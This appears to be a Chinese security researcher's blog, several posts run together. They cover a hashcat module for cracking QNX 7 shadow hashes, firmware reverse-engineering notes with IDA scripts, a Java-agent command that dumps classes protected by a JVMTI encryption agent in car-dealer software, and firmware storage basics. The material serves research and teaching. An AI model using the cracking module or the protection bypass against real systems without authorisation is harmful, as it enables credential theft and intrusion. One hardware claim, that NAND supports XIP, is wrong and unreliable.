在 2021 年想要碰撞 QNX Hash 发现 hashcat 不支持 QNX 6.6.0版本。当时 issue 就有人提了这个需求,但我一直很忙没时间开发。
直到2023年9月的艰难单刷工信部车联网攻防演练,又遇到了 QNX 7 的 Hash,发现那么多年过去了还是没支持。
为了防止下次又遇到这个需求,于是就抽空研究了 qnx 的库还有 hashcat,为了编写 hashcat 模块走了一点弯路。
根据官方文档 QNX 700 docs: accounts_etc_shadow,可以得知Hash组成如下
1
2@digest@hash@salt
@digest,iterations@hash@salt
这个 hash 使用 @ 作为分隔符,大写的 S 代表是 SHA-512,小写的 s 代表 SHA-256。如果加逗号和数字就代表迭代的次数。随后是 Base64 格式的 hash 和 base64 格式的 salt。
阅读完 QNX 官方文档的描述,给人的感觉是原来那么简单。如果看了 hashcat 的 QNX6 (-m 19200) 的模块,第一反应就是,是不是改一下迭代和格式就行了?
于是我复制了一份 QNX6 碰撞模块,想复用代码减轻工作量。按照官方文档适配,hashcat 总是返回 self-test 失败。随后分析 /src/OpenCL/m19200.cl 发现参考了 John 的代码,并且做了一些 hack 的处理,不够优雅。首先猜测是这段 CL 代码有 bug,下一步就是去分析 QNX 7 的 hash 生成逻辑。
hash 的生成逻辑在 /usr/lib/pam.qnx.so
分析完逻辑,和 m19200.cl 对比发现,首先旧版本 CL 代码里轮次不对,第一轮就是盐和密码拼接计算一次 SHA,其次新生成的 digest 没有和上一次结果异或。所以不是简单 base64 就行的。
其实新版的 hash 生成逻辑使用的是 标准的 PBKDF2 (Password-Based Key Derivation Function) 算法,很多软件(Adobe、MacOS、Cisco等)都使用这个算法生成 Hash,迭代次数越高,碰撞 hash 的效率就越低。QNX 官方文档没有明说算法名称,只说是 SHA-512,某种意义上提高了安全研究门槛。
可以使用 Cyberchef 来验证。
1
https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'UTF8','string':'hashcat'%7D,512,4096,'SHA512',%7B'option':'Base64','string':'NDY2MDEwNjk3YjBjYzM2MzliMzc3Mzc0ZTNiMTAzNzE%3D'%7D)&input=dm0ybkJHSGVzNlFrWHJhMGY3NFhtb3VTaVJ6allEM3IvMHB5K3R4djBLcjhBNGhDUE1HRkhvWnFyNDFKRmlZY0pQUE9lSWhlcUZzZU15THl3LzE1UHc9PQ
参考官方文档
https://github.com/hashcat/hashcat/blob/master/docs/hashcat-plugin-development-guide.md
最开始我还在想办法写新的 CL 代码,得知是标准算法后,直接摆烂,想找一个顺眼的来改。
1
2
3
4
5
6
7
8
9
10
11./hashcat -hh | grep PBKDF2
11900 | PBKDF2-HMAC-MD5 | Generic KDF
12000 | PBKDF2-HMAC-SHA1 | Generic KDF
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
12100 | PBKDF2-HMAC-SHA512 | Generic KDF
2500 | WPA-EAPOL-PBKDF2 | Network Protocol
22000 | WPA-PBKDF2-PMKID+EAPOL | Network Protocol
16800 | WPA-PMKID-PBKDF2 | Network Protocol
12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | Operating System
9200 | Cisco-IOS $8$ (PBKDF2-SHA256) | Operating System
7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating System
hashcat 每次运行都会自检当前模块,ST_HASH 和 ST_PASS 就是测试用例。于是把 KERN_TYPE 直接改为7100,打算一点一点调试,但是没想到一次就跑通了。
hashcat 是开源项目,合并代码比较慢,所以附上代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272/**
* Author......: See docs/credits.txt
* License.....: MIT
*/
static const u32 ATTACK_EXEC = ATTACK_EXEC_OUTSIDE_KERNEL;
static const u32 DGST_POS0 = 0;
static const u32 DGST_POS1 = 1;
static const u32 DGST_POS2 = 2;
static const u32 DGST_POS3 = 3;
static const u32 DGST_SIZE = DGST_SIZE_8_16;
static const u32 HASH_CATEGORY = HASH_CATEGORY_OS;
static const char *HASH_NAME = "QNX 7 /etc/shadow (SHA512)";
static const u64 KERN_TYPE = 7100;
static const u32 OPTI_TYPE = OPTI_TYPE_ZERO_BYTE
| OPTI_TYPE_USES_BITS_64
| OPTI_TYPE_SLOW_HASH_SIMD_LOOP;
static const u64 OPTS_TYPE = OPTS_TYPE_STOCK_MODULE
| OPTS_TYPE_PT_GENERATE_LE
| OPTS_TYPE_ST_BASE64
| OPTS_TYPE_HASH_COPY;
static const u32 SALT_TYPE = SALT_TYPE_EMBEDDED;
static const char *ST_PASS = "hashcat";
static const char *ST_HASH = "@S@vm2nBGHes6QkXra0f74XmouSiRzjYD3r/0py+txv0Kr8A4hCPMGFHoZqr41JFiYcJPPOeIheqFseMyLyw/15Pw==@NDY2MDEwNjk3YjBjYzM2MzliMzc3Mzc0ZTNiMTAzNzE=";
u32 module_attack_exec (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return ATTACK_EXEC; }
u32 module_dgst_pos0 (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS0; }
u32 module_dgst_pos1 (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS1; }
u32 module_dgst_pos2 (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS2; }
u32 module_dgst_pos3 (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_POS3; }
u32 module_dgst_size (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return DGST_SIZE; }
u32 module_hash_category (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return HASH_CATEGORY; }
const char *module_hash_name (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return HASH_NAME; }
u64 module_kern_type (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return KERN_TYPE; }
u32 module_opti_type (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return OPTI_TYPE; }
u64 module_opts_type (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return OPTS_TYPE; }
u32 module_salt_type (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return SALT_TYPE; }
const char *module_st_hash (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return ST_HASH; }
const char *module_st_pass (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra) { return ST_PASS; }
typedef struct pbkdf2_sha512
{
u32 salt_buf[64];
} pbkdf2_sha512_t;
typedef struct pbkdf2_sha512_tmp
{
u64 ipad[8];
u64 opad[8];
u64 dgst[16];
u64 out[16];
} pbkdf2_sha512_tmp_t;
u64 module_esalt_size (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra)
{
const u64 esalt_size = (const u64) sizeof (pbkdf2_sha512_t);
return esalt_size;
}
u64 module_tmp_size (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const user_options_t *user_options, MAYBE_UNUSED const user_options_extra_t *user_options_extra)
{
const u64 tmp_size = (const u64) sizeof (pbkdf2_sha512_tmp_t);
return tmp_size;
}
static const int ROUNDS_QNX = 4096;
static const int HASH_SIZE = 64;
int module_hash_decode (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED void *digest_buf, MAYBE_UNUSED salt_t *salt, MAYBE_UNUSED void *esalt_buf, MAYBE_UNUSED void *hook_salt_buf, MAYBE_UNUSED hashinfo_t *hash_info, const char *line_buf, MAYBE_UNUSED const int line_len)
{
u64 *digest = (u64 *) digest_buf;
pbkdf2_sha512_t *pbkdf2_sha512 = (pbkdf2_sha512_t *) esalt_buf;
hc_token_t token;
memset (&token, 0, sizeof (hc_token_t));
token.token_cnt = 4;
// @digest@hash@salt
// @digest,iterations@hash@salt
token.sep[0] = '@';
token.len[0] = 0;
token.attr[0] = TOKEN_ATTR_FIXED_LENGTH;
token.sep[1] = '@';
token.len_min[1] = 1;
token.len_max[1] = 8;
token.attr[1] = TOKEN_ATTR_VERIFY_LENGTH;
token.sep[2] = '@';
token.len_min[2] = 64;
token.len_max[2] = 100;
token.attr[2] = TOKEN_ATTR_VERIFY_LENGTH | TOKEN_ATTR_VERIFY_BASE64A;
token.sep[3] = '@';
token.len_min[3] = 32;
token.len_max[3] = 60;
token.attr[3] = TOKEN_ATTR_VERIFY_LENGTH | TOKEN_ATTR_VERIFY_BASE64A;
const int rc_tokenizer = input_tokenizer ((const u8 *) line_buf, line_len, &token);
if (rc_tokenizer != PARSER_OK) return (rc_tokenizer);
// check hash type
if (token.buf[1][0] != 'S') return (PARSER_SIGNATURE_UNMATCHED);
// check iter
u32 iter = ROUNDS_QNX;
if (token.len[1] > 1)
{
if (token.buf[1][1] != ',') return (PARSER_SEPARATOR_UNMATCHED);
iter = hc_strtoul ((const char *) token.buf[1] + 2, NULL, 10);
}
// iter++; the additional round is added in the init kernel
salt->salt_iter = iter - 1;
const u8 *hash_pos = token.buf[2];
const int hash_len = token.len[2];
int decoded_len;
u8 tmp_buf[512];
memset (tmp_buf, 0, sizeof (tmp_buf));
decoded_len = base64_decode (base64_to_int, hash_pos, hash_len, tmp_buf);
if (decoded_len != HASH_SIZE) {
return (PARSER_SALT_LENGTH);
}
memcpy (digest, tmp_buf, 64);
digest[0] = byte_swap_64 (digest[0]);
digest[1] = byte_swap_64 (digest[1]);
digest[2] = byte_swap_64 (digest[2]);
digest[3] = byte_swap_64 (digest[3]);
digest[4] = byte_swap_64 (digest[4]);
digest[5] = byte_swap_64 (digest[5]);
digest[6] = byte_swap_64 (digest[6]);
digest[7] = byte_swap_64 (digest[7]);
// salt
const u8 *salt_pos = token.buf[3];
const int salt_len = token.len[3];
memset (tmp_buf, 0, sizeof (tmp_buf));
decoded_len = base64_decode (base64_to_int, salt_pos, salt_len, tmp_buf);
if (decoded_len < 1) {
return (PARSER_SALT_LENGTH);
}
else
{
memcpy (pbkdf2_sha512->salt_buf, tmp_buf, decoded_len);
salt->salt_buf[0] = pbkdf2_sha512->salt_buf[0];
salt->salt_buf[1] = pbkdf2_sha512->salt_buf[1];
salt->salt_buf[2] = pbkdf2_sha512->salt_buf[2];
salt->salt_buf[3] = pbkdf2_sha512->salt_buf[3];
salt->salt_buf[4] = pbkdf2_sha512->salt_buf[4];
salt->salt_buf[5] = pbkdf2_sha512->salt_buf[5];
salt->salt_buf[6] = pbkdf2_sha512->salt_buf[6];
salt->salt_buf[7] = pbkdf2_sha512->salt_buf[7];
salt->salt_len = decoded_len;
}
return (PARSER_OK);
}
int module_hash_encode (MAYBE_UNUSED const hashconfig_t *hashconfig, MAYBE_UNUSED const void *digest_buf, MAYBE_UNUSED const salt_t *salt, MAYBE_UNUSED const void *esalt_buf, MAYBE_UNUSED const void *hook_salt_buf, MAYBE_UNUSED const hashinfo_t *hash_info, char *line_buf, MAYBE_UNUSED const int line_size)
{
return snprintf (line_buf, line_size, "%s", hash_info->orighash);
}
void module_init (module_ctx_t *module_ctx)
{
module_ctx->module_context_size = MODULE_CONTEXT_SIZE_CURRENT;
module_ctx->module_interface_version = MODULE_INTERFACE_VERSION_CURRENT;
module_ctx->module_attack_exec = module_attack_exec;
module_ctx->module_benchmark_esalt = MODULE_DEFAULT;
module_ctx->module_benchmark_hook_salt = MODULE_DEFAULT;
module_ctx->module_benchmark_mask = MODULE_DEFAULT;
module_ctx->module_benchmark_charset = MODULE_DEFAULT;
module_ctx->module_benchmark_salt = MODULE_DEFAULT;
module_ctx->module_build_plain_postprocess = MODULE_DEFAULT;
module_ctx->module_deep_comp_kernel = MODULE_DEFAULT;
module_ctx->module_deprecated_notice = MODULE_DEFAULT;
module_ctx->module_dgst_pos0 = module_dgst_pos0;
module_ctx->module_dgst_pos1 = module_dgst_pos1;
module_ctx->module_dgst_pos2 = module_dgst_pos2;
module_ctx->module_dgst_pos3 = module_dgst_pos3;
module_ctx->module_dgst_size = module_dgst_size;
module_ctx->module_dictstat_disable = MODULE_DEFAULT;
module_ctx->module_esalt_size = module_esalt_size;
module_ctx->module_extra_buffer_size = MODULE_DEFAULT;
module_ctx->module_extra_tmp_size = MODULE_DEFAULT;
module_ctx->module_extra_tuningdb_block = MODULE_DEFAULT;
module_ctx->module_forced_outfile_format = MODULE_DEFAULT;
module_ctx->module_hash_binary_count = MODULE_DEFAULT;
module_ctx->module_hash_binary_parse = MODULE_DEFAULT;
module_ctx->module_hash_binary_save = MODULE_DEFAULT;
module_ctx->module_hash_decode_postprocess = MODULE_DEFAULT;
module_ctx->module_hash_decode_potfile = MODULE_DEFAULT;
module_ctx->module_hash_decode_zero_hash = MODULE_DEFAULT;
module_ctx->module_hash_decode = module_hash_decode;
module_ctx->module_hash_encode_status = MODULE_DEFAULT;
module_ctx->module_hash_encode_potfile = MODULE_DEFAULT;
module_ctx->module_hash_encode = module_hash_encode;
module_ctx->module_hash_init_selftest = MODULE_DEFAULT;
module_ctx->module_hash_mode = MODULE_DEFAULT;
module_ctx->module_hash_category = module_hash_category;
module_ctx->module_hash_name = module_hash_name;
module_ctx->module_hashes_count_min = MODULE_DEFAULT;
module_ctx->module_hashes_count_max = MODULE_DEFAULT;
module_ctx->module_hlfmt_disable = MODULE_DEFAULT;
module_ctx->module_hook_extra_param_size = MODULE_DEFAULT;
module_ctx->module_hook_extra_param_init = MODULE_DEFAULT;
module_ctx->module_hook_extra_param_term = MODULE_DEFAULT;
module_ctx->module_hook12 = MODULE_DEFAULT;
module_ctx->module_hook23 = MODULE_DEFAULT;
module_ctx->module_hook_salt_size = MODULE_DEFAULT;
module_ctx->module_hook_size = MODULE_DEFAULT;
module_ctx->module_jit_build_options = MODULE_DEFAULT;
module_ctx->module_jit_cache_disable = MODULE_DEFAULT;
module_ctx->module_kernel_accel_max = MODULE_DEFAULT;
module_ctx->module_kernel_accel_min = MODULE_DEFAULT;
module_ctx->module_kernel_loops_max = MODULE_DEFAULT;
module_ctx->module_kernel_loops_min = MODULE_DEFAULT;
module_ctx->module_kernel_threads_max = MODULE_DEFAULT;
module_ctx->module_kernel_threads_min = MODULE_DEFAULT;
module_ctx->module_kern_type = module_kern_type;
module_ctx->module_kern_type_dynamic = MODULE_DEFAULT;
module_ctx->module_opti_type = module_opti_type;
module_ctx->module_opts_type = module_opts_type;
module_ctx->module_outfile_check_disable = MODULE_DEFAULT;
module_ctx->module_outfile_check_nocomp = MODULE_DEFAULT;
module_ctx->module_potfile_custom_check = MODULE_DEFAULT;
module_ctx->module_potfile_disable = MODULE_DEFAULT;
module_ctx->module_potfile_keep_all_hashes = MODULE_DEFAULT;
module_ctx->module_pwdump_column = MODULE_DEFAULT;
module_ctx->module_pw_max = MODULE_DEFAULT;
module_ctx->module_pw_min = MODULE_DEFAULT;
module_ctx->module_salt_max = MODULE_DEFAULT;
module_ctx->module_salt_min = MODULE_DEFAULT;
module_ctx->module_salt_type = module_salt_type;
module_ctx->module_separator = MODULE_DEFAULT;
module_ctx->module_st_hash = module_st_hash;
module_ctx->module_st_pass = module_st_pass;
module_ctx->module_tmp_size = module_tmp_size;
module_ctx->module_unstable_warning = MODULE_DEFAULT;
module_ctx->module_warmup_disable = MODULE_DEFAULT;
}
Serious Security : stocker vos mots de passe en toute sécurité
https://github.com/openwall/john/blob/bleeding-jumbo/src/sha2.c#L578-L595
]]>这个是多年前自己为了方便查阅的写的笔记,记录的是碎片话思路,很乱,没有操作步骤,持续更新。
这里指的固件是从存储芯片提取的原始文件或升级文件。
原始固件逆向的特点
根据系统架构分类,主要分为SoC固件和MCU固件。SoC固件一般由处理器单元和外围单元等组成,由处理器内置的BootROM引导至外部的Flash,这个外部的Flash的数据就称作固件。一个SoC类型的设备,通常使用SPI NOR Flash、NAND Flash、EMMC。SPI Flash一般存放Bootloader,NAND Flash存放系统内核,固件等。对于后者,一般需要提取文件系统;对于前者,需要研究启动过程。一般SPI Flash的固件会由多个部分组成,不能直接把固件的Dump丢入IDA Pro。而MCU固件不会分成很多个区域,一般来说就是一个到两个。对于只使用内置存储的MCU,只要Loader+Application;对于使用了外置存储的MCU,内置Loader+Application,外部的Flash就不会再分成多个部分了。
对于NAND Flash或者其他冷门存储,需要在提取固件环节耗费很多精力,另外某些冷门MCU的固件也很难提取。
一般逆向固件,首先要做的是找到加载基址,因为当基址还原,字符串,jpt等交叉引用ida都会自动修复。
(这里很乱,以前自己写的,看不懂就忽略吧)
加载基址有多种方法获取:
首先使用hexdump看数据分布,再binwalk识别CPU指令集、opcode分布。如果看不出来,再用HEX编辑器,寻找字节占比。如果是压缩数据,比如Lempel-Ziv-Welch压缩,就很多9D,根据9D之后组成的数据,看是否符合LZW算法。https://en.wikipedia.org/wiki/List_of_file_signatures
搜索0123456789abcdefg这样的连续字符,分析大小端。有些打印机是双Flash,可能一个是1267另一个是3489。需要按最小字节块交叉拼接。
如果存在源码,根据源码的Magic,到固件里搜索,就能得到布局。
控制变量法,对比不同版本的固件,对比相同版本不同内容的固件。
如果只有一个固件,那么分析每个块的相似度,可以找出magic number,从而确定系统类型
这里要用到我做的固件安全产品:UFA - 通用固件分析系统。
PS:这个功能是我在2020年底写的。
某些固件里面会有冗余系统,使用UFA,或者其他分析熵图的工具,可以快速找到重复的区域,避免增加额外工作。
部份压缩系统最坑人,平时从固件中提取的二进制文件,一般就直接去逆向分析代码了,这个可以看到一些字符串和符号,但是放到IDA里无法正常识别,于是查看熵图可以发现,部份区域是代码,部份是压缩文件,还有一些SHA512常数。
但是正常压缩文件的熵都是比较平滑并且趋近1的。并且一个系统固件,多段相隔较远的地址,出现大部份字符串变量是反常的。根据它的上一级loader推断出,这是一个连续文件,并且部份压缩。
当部份加密和部份压缩结合,就会把人搞晕。
IoT设备性能较弱,为了平衡安全和使用体验,会使用部份加密。这是某设备的squashfs文件,直接解包会报错,如果经验不足可能会觉得是文件损坏。稍为有经验一点的会找到解谜代码,并且对文件解密,这种情况还是会解包失败。squashfs是会压缩的,所以较难看出是不是部份加密。
实际上部份加密和完全加密是有一定区别的。
压缩文件的熵,是会存在一定幅度的波动,这一区域就是部份加密的漏网之鱼。
而完全加密随机性更高,就是平滑的一条线。
有时基址不正确,IDA可能也不能准确识别出code区域,函数入口,就更别说去分析基址了。这种情况下可以先尝试还原一部分函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15def remake_func(opcodes, lastbytes, end_ea = ida_ida.inf_get_max_ea()):
ea = 0x0
lastbytes_len = len(lastbytes)
while (ea >= 0):
ea = ida_bytes.bin_search(ea + 1, end_ea, opcodes, None, 1, ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_NOBREAK | ida_bytes.BIN_SEARCH_NOSHOW)
if ea == BADADDR : break
else:
print("get_bytes: ", hex(ea-lastbytes_len), ida_bytes.get_bytes((ea-lastbytes_len), lastbytes_len))
if ida_bytes.get_bytes((ea-lastbytes_len), lastbytes_len) == lastbytes:
add_func(ea, BADADDR)
print("0x{:x}: {}".format(ea, GetDisasm(ea)))
remake_func(b'\x55\x89\xe5', b'\xc3', 0xFF000000)
remake_func(b'\x55\x31\xC0', b'\xc3', 0xFF000000)
remake_func(b'\x55\x89\xe5', b'\xc2\x04\x00', 0xFF000000)
对于私有的MCU固件不使用外部链接库,因此大部分基础功能都在代码里实现,需要先找出使用频繁的函数:
memcpymemsetmemcmpmmapprintfstrcpykfree
对于基于开源项目开发的固件,可以参考源码特征识别出基本的函数
根据这些函数可以进一步推导出逻辑。
查找引用最多的函数脚本
1
2
3
4
5
6
7from idaapi import *
funcs = Functions()
for f in funcs:
name = Name(f)
func_xref_amount = len(list(XrefsTo(f)))
if func_xref_amount > 30:
print "%s %d" % (name, func_xref_amount)
对于开源的MCU固件,一般自己先编译一个固件,要保证工具链、版本号一致。链接时生成符号信息,在使用FILRT生成符号和指纹,在固件里匹配,就能还原出大部分函数。
对于基址没有和0x1000对齐的固件,难以肉眼猜出基址。但是我还有办法,首先察看字符串全局变量,看左侧的地址,记住这些地址序列
在x86平台,静态变量入参会用push,push搜索起来也要比mov这种更佳方便。在IDA全局搜索 push 0x,然后再筛选0x62,0x97结尾的内容。如下图所示,这些连续规律和上图地址序列一致,一眼丁真。
基址计算:0xFEFA5762 - 0x22F62 = 0xFEF82800
有的函数找不到调用源,可能是放在一个jumptable内,可以全局搜索立即数,搜索的值为该函数的地址。有的时候地址是相对偏移地址,要减去基址。
有的时候一个32位地址是由高16位和低16位组成,特征如下
1
2MOV Rx, #HighAddr
MOVT Rx, #LowAddr
IDA Pro作为反汇编工具,能够正确把机器码反编译成汇编语言,并且能够生成函数调用图,已经很好了。对于V850这种架构,需要先手动识别出每个函数入口,另外大部分交叉引用还不能正确识别,也需要手工生成。
另外是芯片特定的寄存器偏移、外围地址分布。包括RAM、外围设备总线,外围接口寄存器,中断寄存器等。一般在芯片数据手册里面找,如果手册未公开,就到BSP、Scatter里找。再在IDA Pro的CFG里新增特定平台的配置,包括地址分布,寄存器描述。
如果看不懂代码到底什么意思,就找一个相似功能的工程,编译成同一平台的固件,放入IDA Pro逆向分析,对比源码,大概能知道是什么意思。
如果遇到很复杂的代码,却只要得到结果,就能使用Unicorn Engine模拟执行,但是只支持ARM、MIPS、PPC等常见架构。
加解密库会有很多常量数据,通过搜索这些数据,可以确定使用了哪些加解密算法,可以反推到关键代码。加密、哈希、冗余校验函数,一般这类函数都会有专门的常数数组,特征很明显,通常在启动、升级、通信阶段用到。
使用FindCrypt插件,可以快速发现这些函数。
比如SD、SATA协议的CMD,全局搜索立即数
CAN总线,搜索CAN寄存器地址
在 IDA pro 点击 view > Open subviews > Problems,找到下列类型的问题
这些问题一般都会携带一个立即数,代表对应的地址不在预设的段地址范围内。这类立即数一般可能是寄存器地址,也可能是使用了正确基址的地址。
还有一种可能能是外部二进制文件的地址(一般Bootloader比较多,比如固件A的基址无法确定,但是函数入口还原了,固件B有一些错误地址,如果调用的高位地址和固件A匹配,那么基本可以确定固件A的基址)。
某x86固件,基址不确定。首先搜索Problem,筛选BOUNDS,可以看到一堆Call,意思是函数调用,但是这里使用的是near ptr,也就是相对地址,因此这里的7A10Ah,是当前基址加上偏移的地址。
但是,这个文件大小也没有超过0x40000,所以7A10A是个无效地址。随便点一个地址进去,可以发现,0xFEF84DE0是0x7A10A函数的参数,所以这个0xFEF84DE0不可能是寄存器,极大可能是全局变量。
根据 寻找带字符串的函数这里的技巧,可以确定基址是0xFEF82800,当修改好基址,IDA会自动识别出更多有效函数。而且前面提到的0x7A10A会变成0xFEFFC90A,可这还是一个无效地址。因为这个地址是指向外部的二进制地址,另一个二进制文件的printf函数地址就是0xFEFFC90A,因此要添加外部二进制文件。
这里一定要注意,接下来的操作过程,非常容易出错。因为操作提示不太人性化,几天不用就会忘记,填错了容易毁了当前的工程文件。Shift+F7进入Segment页面,创建一个新的段,
段名随便填,开始地址是外部二进制文件基址
添加完检查下是否和其他段冲突
添加外部二进制文件,File -> Load file -> Additional binary file...
这里的offset填写为IBB段的基址。
]]>最近研究某汽车,遇到一个Win下的软件,用于连接经销商内网。
安装完成,目录有jar文件又有exe文件。
执行start.exe之后可以看到启动了两个Java进程
1
C:\LC\Elsapro\lib\jre\bin\java.exe -agentlib:C:\LC\Elsapro\lib\jna\jvmprotect -Djava.library.path=C:\LC\Elsapro\lib\jna -Dfile.encoding=utf-8 -classpath C:\LC\Elsapro -cp C:\LC\Elsapro\ElsaPro.jar com.qqw.lcst.softp.superc.v5.app.epweb.gui.OptGui
猜测第二个进程可能是内置浏览器,第一个进程是关键进程
使用jdgui打开,发现部分类显示Internel Error,并且关键类没有显示。使用其他java反编译工具也一样。
简单逆向start.exe文件,发现只是用作ClassLoader,可能用于在线更新。
在启动参数看到了agentlib指向jvmprotect,使用IDA Pro打开jvmprotect,发现使用了JVMTI作为agent,猜测可能作为解密模块。
JVMTI支持包括但不限于取证,调试,监控,线程分析,覆盖率分析等工具。
简单查阅JVMTI文档,得知如下三个主要方法,可以作为逆向切入点
使用IDA Pro打开这个agent。得知Agent_OnLoad
是启动函数,由于代码基于JNI和JVMTI,打开阅读不太方便。我整合了一个jvmti_all.h头文件,方便逆向。(由于这个回调函数太简单,并且没有用到其他功能,所以没有派上什么用场)。
启动时设置SetEventCallbacks
,此时会把jar包的class文件逐个传入这个回调函数。然后把每个类解密,并且输出日志。
我很懒,不想还原算法,打算用frida或者unicorn engine去解密。
阅读完这篇文章 Yilun Fan - 谈谈Java Intrumentation和相关应用,发现Instrumentation API基于JVMTI,因此可以使用Java Agent来导出class文件
参考等你归去来 - 如何获取java运行时动态生成的class文件?,我打包了名为ClazzDumpAgent.jar的Agent。d参数代表dump路径,-f参数是匹配提取的前缀,-r文件代表包名。
agentlib和javaagent存在先后顺序,一定要先解密完再导出。
1
C:\LC\Elsapro\lib\jre\bin\java.exe -Xms256m -Xmx512m -XX:MetaspaceSize=256m -XX:MaxMetaspaceSize=512m -agentlib:C:\LC\Elsapro\lib\jna\JvmtiCry -Djava.library.path=C:\LC\Elsapro\lib\jna -javaagent:C:\LC\Elsapro\ClazzDumpAgent.jar=-d=C:\LC\Elsapro\clazzDump\;-f=com/qqw/lcst;-r=lcst -Dfile.encoding=utf-8 -classpath C:\LC\Elsapro -cp C:\LC\Elsapro\ElsaPro.jar com.qqw.lcst.softp.superc.v5.app.epweb.gui.OptGui
执行这段脚本,可以看到解密完每个class之后,都会导出这个class。
随后将路径打包成zip文件,用 Java 反编译软件打开,相比较第一张图,可以看到之前显示为null的class已经出现率,但是有些显示Internal Error的类没有出现。这是因为没有执行的class不会被解密,这时候主动触发这个功能,在命令行可以看到相关的类被实时解密。
建议用CFR去反编译,报错更少。
1
cfrd -jar ./decypted.zip ./out
固件 (Firmware), 在港澳台称作韧体, 在手机领域又称作字库。它位于非易失性存储(Non-Volatile Memory,NVM)中,可以被读写。在嵌入式领域,最常见的NVM类型是ROM(read-only memory)和Flash Memory, 其中ROM包括Mask ROM、PROM、EPROM、EEPROM;现在主流的ROM就是EEPROM,一般是在MCU内部;而更加主流的外存一般都是Flash Memory。
在嵌入式设备中,除了使用最基本的NAND或者NOR Flash芯片,还可能会使用eMMC;扩展存储会用到SD卡,CF卡,HDD等;这些都是有一个主控再加一个存储区,主控和上位机通信,只要能访问主控,就能读写存储芯片的内容。对于eMMC、SD卡、CF卡、HDD之类的设备,它的主控对外有通用的接口,只要用读卡器或者烧录座就可以读取。但是对于SoC直接管理的存储芯片,并没有对外部的通用接口,但是主控都是驱动控制的,所以只要能访问内存(外围设备的地址)就行了,因此有一些JTAG读固件、IAP读取固件、U-Boot读取固件的技巧,是而且理论上主控坏了,我们还能从存储区读取出固件。
只要是这些设备存放了操作系统,我把这原始的文件都称作固件。在嵌入式安全研究中,固件提取总是最初的工作,也是最重要的工作,决定了研究是否能继续下去。因此我决定整理这几年关于固件提取的知识分享出来。
由于EEPROM产品比Flash产品在擦写次数上有着更大的优势,再加上更小的尺寸和较低的擦写电流,因此成为车载应用中首选的存储技术。
但是对于性能较高的设备,就要用到Flash。NAND对比NOR,支持XIP,而且读取速度很快,但是写入和擦除速度很慢。NAND 的容量要大很多,速度快,价格也相对便宜,但是可靠性较低。NAND以块为单位来访问数据,而NOR Flash可以随机访问数据。
要与固件载体通信,修改里面的数据,就要有相应的协议。对于EEPROM,协议主要有I2C, SPI,其中SPI有多种模式。而NAND Flash使用的是Raw NAND协议,现在几乎都遵循ONFI标准。对于NOR Flash一般有SPI协议;SPI的Flash一般遵循JEDEC SFDP(JESD216)标准,而Parallel NOR支持JEDEC CFI(JESD68)标准。
